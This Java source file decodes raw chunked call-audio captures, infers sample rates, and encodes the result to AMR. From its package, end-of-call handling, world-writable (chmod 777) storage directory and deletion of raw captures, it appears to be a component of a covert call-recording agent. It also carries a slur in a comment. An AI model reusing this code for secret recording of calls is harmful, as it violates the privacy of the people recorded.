package com.android.dvci.util;

import android.media.AmrInputStream;

import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.Configuration;
import com.android.dvci.file.AutoFile;
import com.android.dvci.file.Path;
import com.android.dvci.resample.Resample;
import com.android.mm.M;
import com.musicg.wave.Wave;
import com.musicg.wave.WaveHeader;

import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.Date;

// HIC SUNT RICCHIONES
public class AudioEncoder {
	private static final String TAG = "AudioEncoding";
	private static String audioDirectory = "l4/";
	private static String audioStorage;
	private boolean call_finished;
	private int last_epoch = 0, first_epoch = 0, data_size = 0;
	private int sampleRate = 44100;
	private String rawFile;
	private byte[] rawPcm;

	public AudioEncoder(String f) {
		rawFile = f;

		try {
			rawPcm = decodeRawChunks();
		} catch (IOException e) {
			if (Cfg.EXCEPTION) {
				Check.log(e);
			}
		}
	}

	public int getInferredSampleRate() {
		float min = Float.MAX_VALUE;
		int bitrates[] = {8000, 11025, 16000, 22050, 32000, 44100, 48000, 88200, 96000, 176400, 192000, 352800, 384000};
		int calc = -1;

		int delta = last_epoch - first_epoch;

		if (delta <= 0 || data_size <= 0) {
			if (Cfg.DEBUG) {
				Check.log(TAG + "(getInferredSampleRate): delta is " + delta + " (first_epoch: " + first_epoch + ", last_epoch: "
						+ last_epoch + "), data_size is: " + data_size + ", bitrate cannot be guessed");
			}
			return -1;
		}

		int bitrate = (data_size / 2) / delta; // 16-bit PCM

		// Calculate the closest possible real value, yep it can be optimized:
		// if t > min: return prev_bitrate
		for (int b : bitrates) {
			float t = (float) bitrate / (float) b;

			t = Math.abs(1.0f - t);

			if (t < min) {
				calc = b;
				min = t;
			}
		}

		if (Cfg.DEBUG) {
			Check.log(TAG + "(getInferredSampleRate): bitrate declared: " + bitrate + " bitrate inferred: " + calc);
		}

		// If we are in a certain difference range, we can reliably assume that
		// declared bitrate it truthful
		// Watch it, because declared bitrate might be (and will often be)
		// completely different from the real one.
		float ref, bit;

		if (bitrate > calc) {
			ref = (float) bitrate;
			bit = (float) calc;
		} else {
			ref = (float) calc;
			bit = (float) bitrate;
		}

		float perc = (1.0f - (bit / ref)) * 100.0f;

		if (perc > 5.0f) {
			if (Cfg.DEBUG) {
				Check.log(TAG + "(getInferredSampleRate): declared bitrate of " + bitrate + " seems to be false (skew: "
						+ (int) perc + "%), assuming: " + calc);
			}

			return calc;
		} else {
			if (Cfg.DEBUG) {
				Check.log(TAG + "(getInferredSampleRate): declared bitrate of " + bitrate + " seems to be thrutful (skew: "
						+ (int) perc + "%), using it");
			}

			return bitrate;
		}
	}

	public boolean encodetoAmr(String outFile, byte[] raw) {
		if (raw == null || raw.length == 0) {
			if (Cfg.DEBUG) {
				Check.log(TAG + "(encodetoAmr): Cannot encode null data");
			}

			return false;
		}

		File file = new File(outFile);

		if (Cfg.DEBUG) {
			Check.log(TAG + "(encodetoAmr): Encoding raw to: " + file.getName());

		}

		try {
			InputStream inStream = new ByteArrayInputStream(raw);
			AmrInputStream aStream = new AmrInputStream(inStream);

			file.createNewFile();

			OutputStream out = new FileOutputStream(file);

			out.write(0x23);
			out.write(0x21);
			out.write(0x41);
			out.write(0x4D);
			out.write(0x52);
			out.write(0x0A);

			byte[] buf = new byte[4096];
			int len;

			while ((len = aStream.read(buf)) > 0) {
				out.write(buf, 0, len);
			}

			out.close();
			aStream.close();
		} catch (Exception e) {
			if (Cfg.EXCEPTION) {
				Check.log(e);
			}

			return false;
		}

		return true;
	}

	public byte[] resample(boolean realRate) {
		int bitRate;

		if (rawPcm == null) {
			if (Cfg.DEBUG) {
				Check.log(TAG + "(resample): No decoded audio data found");
			}

			return null;
		}

		// Ideally the sample rate should be the same for every chunk...
		// Ideally...
		if (realRate == true) {
			bitRate = getAllegedSampleRate();
		} else {
			bitRate = getInferredSampleRate();

			// Borderline case in which we are unable to infer the real value
			if (bitRate < 0) {
				bitRate = getAllegedSampleRate();
			}
		}

		WaveHeader header = Resample.createHeader(bitRate, rawPcm.length);

		// Resample audio
		Wave wave = Resample.resampleRaw(header, rawPcm);
		if(wave == null){
			if (Cfg.DEBUG) {
				Check.log(TAG + " (resample), Invalid raw sample, samplerate is zero");
			}
			return new byte[]{};
		}

		return wave.getBytes();
	}

	private byte[] decodeRawChunks() throws IOException {
		int end_of_call = 0xF00DF00D;
		int epoch, streamType, blockLen;
		int discard_frame_size = 8;

		first_epoch = last_epoch = data_size = 0;
		rawPcm = null;
		sampleRate = 44100;

		// header format - each field is 4 bytes LE:
		// epoch : streamType : sampleRate : blockLen
		File raw = new File(rawFile);

		FileInputStream in = null;

		try {
			in = new FileInputStream(raw);

			byte data[] = new byte[(int) raw.length()];
			in.read(data, 0, (int) raw.length());

			ByteBuffer d = ByteBuffer.wrap(data);
			d.order(ByteOrder.LITTLE_ENDIAN);

			data = null;

			if (Cfg.DEBUG) {
				Check.log(TAG + "(encodeChunks): Parsing " + raw.getName());
			}

			// First round calculates the bitrate and real size of audio data
			while (d.remaining() > 0) {
				int cur_epoch = d.getInt();

				d.position(d.position() + discard_frame_size); // Discard streamType and
				// sampleRate
				blockLen = d.getInt();
				if (blockLen < 0 || blockLen > d.remaining()) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (decodeRawChunks), OUT of BAND, blockLen: "+ blockLen + " remaining: "+ d.remaining());
					}
					break;
				}

				// Discarded bytes must be discarded in the next loop too
				if (blockLen != discard_frame_size) {
					if (first_epoch == 0) {
						first_epoch = cur_epoch;
					}

					data_size += blockLen; // Get blockLen
					last_epoch = cur_epoch;
				}

				if (Cfg.DEBUG) {
					//Check.log(TAG + "(encodeChunks): blockLen: " + blockLen +
					//		" remaining: " + d.remaining() + " current position: " +
					//		d.position() + " next position: " + (d.position() +
					//		blockLen));
				}

				d.position(d.position() + blockLen);
			}

			// Let's start again
			d.rewind();

			if (Cfg.DEBUG) {
				Check.log(TAG + "(encodeChunks): raw data size: " + data_size + " bytes, file length: "
						+ (last_epoch - first_epoch) + " seconds");

			}

			rawPcm = new byte[data_size];

			int pos = 0;
			call_finished = false;

			// Second round extracts only the audio data
			while (d.remaining() > 0) {
				epoch = d.getInt();
				if(Cfg.DEBUG){
					Check.asserts(epoch <= last_epoch, "Last_epoch not correct");
				}
				streamType = d.getInt();
				sampleRate = d.getInt();
				//pid = d.getInt();
				blockLen = d.getInt();

				if (Cfg.DEBUG) {
					// Check.log(TAG + "(encodeChunks): epoch: " + epoch +
					// " streamType: " + streamType + " sampleRate: " +
					// sampleRate + " blockLen: " + blockLen);
				}

				if (streamType == end_of_call && blockLen == 0 || blockLen < 0 || blockLen > d.remaining()) {
					if (Cfg.DEBUG) {
						Check.log(TAG + "(encodeChunks): end of call reached for " + raw.getName());
					}

					call_finished = true;

					if (d.remaining() > 0) {
						if (Cfg.DEBUG) {
							Check.log(TAG + "(encodeChunks): ***WARNING*** end of call reached and we still have "
									+ d.remaining() + " remaining bytes!");
						}
					}

					continue;
				}

				if (blockLen == discard_frame_size) {
					if (Cfg.DEBUG) {
						Check.log(TAG + "(encodeChunks): skipping misterious frame (length: " + blockLen + " bytes)");
					}

					d.position(d.position() + blockLen);
					continue;
				}

				byte[] rawPcmBlock = new byte[blockLen];
				d.get(rawPcmBlock);

				System.arraycopy(rawPcmBlock, 0, rawPcm, pos, rawPcmBlock.length);
				pos += blockLen;
			}

			return rawPcm;

		} finally {
			if (in != null) {
				in.close();
			}
		}
	}

	public void removeRawFile() {
		if (rawFile.length() == 0) {
			if (Cfg.DEBUG) {
				Check.log(TAG + "(removeRawFile): file name not set, cannot remove");
			}

			return;
		}

		AutoFile raw = new AutoFile(rawFile);
		if (Cfg.DEBUG) {
			Check.log(TAG + "(removeRawFile): " + rawFile);
		}
		raw.delete();
	}

	public int getCallStartTime() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (getCallStartTime): " + new Date(first_epoch * 1000L));
		}
		return first_epoch;
	}

	public int getCallEndTime() {
		return last_epoch;
	}

	public int getCallDastaSize() {
		return data_size;
	}

	public int getAllegedSampleRate() {
		return sampleRate;
	}

	public boolean isLastCallFinished() {
		return call_finished;
	}

	static public boolean createAudioStorage() {
		// Create storage directory
		audioStorage = Status.getAppContext().getFilesDir().getAbsolutePath() + "/" + audioDirectory;

		if (Path.createDirectory(audioStorage) == false) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (createAudioStorage): audio storage directory cannot be created"); //$NON-NLS-1$
			}

			return false;
		} else {
			Execute.chmod("777", audioStorage);

			if (Cfg.DEBUG) {
				Check.log(TAG + " (createAudioStorage): audio storage directory created at " + audioStorage); //$NON-NLS-1$
			}

			return true;
		}
	}

	static public String getAudioStorage() {
		if (audioStorage.length() == 0) {
			createAudioStorage();
		}

		return audioStorage;
	}

	static public boolean deleteAudioStorage() {
		audioStorage = Status.getAppContext().getFilesDir().getAbsolutePath() + "/" + audioDirectory;

		boolean ret = false;

		File f = new File(audioStorage);
		if (f.exists() && f.isDirectory()) {
			for (File file : f.listFiles()) {
				file.delete();
			}
			ret = true;
		}

		return ret;
	}

	static private String getAudioDirectoryName() {
		return audioDirectory;
	}
}
